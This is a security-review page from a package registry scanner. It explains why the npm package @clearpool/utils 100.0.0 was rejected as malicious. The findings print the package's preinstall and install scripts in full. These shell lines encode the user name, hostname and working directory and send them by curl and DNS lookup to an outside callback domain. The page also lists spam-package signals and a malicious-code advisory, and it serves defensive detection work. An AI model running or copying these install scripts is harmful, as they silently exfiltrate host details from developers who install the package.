All @clearpool/utils versions

@clearpool/[email protected] rejected Risk: 100 ISC

@clearpool/utils @100.0.0

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.5 KB
Package Size
Published

Internal automation library.

Maintainers

aidanmochan

Risk Dispositions (3 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:preinstall install-scripts reject AI AI (install-scripts): Exfiltrates user/host/cwd via curl+DNS to attacker-controlled domain; malicious by design.
install-script:install install-scripts reject AI AI (install-scripts): Identical exfiltration payload in install script; malicious by design.
bogus-package bogus-package reject AI AI (bogus-package): Shell package with no real content, no repo, inflated semver — consistent with a malware delivery vehicle.

SAST Findings (5)

CRITICAL Package has 'preinstall' script install-scripts

[Always reject] Script: b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

CRITICAL Package has 'install' script install-scripts

[Always reject] Script: b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

CRITICAL Low-value / spam package indicators (6 signals, score 7) bogus-package

[Always reject] Matched 6 signal(s), weighted score 7: • [S_README_NO_CODE] Short README with no code block, no install instructions, and no usage/API section. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 1 code file(s), 987 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

CRITICAL MAL-2026-3059: Malicious code in @clearpool/utils (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (aaf42d3e0422cdf2bd133cbfe2bad48be71bff1682908c0b740817555a83d4a9) The package @clearpool/utils was found to contain malicious code. ## Source: ossf-package-analysis (402b776bfcc2da45256da8475f7acaa61c2c1f9679e09f0409523062ffe3d823) The OpenSSF Package Analysis project identified '@clearpool/utils' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 163). Findings: 4 critical (+160), 1 low (+3).

Published to npm: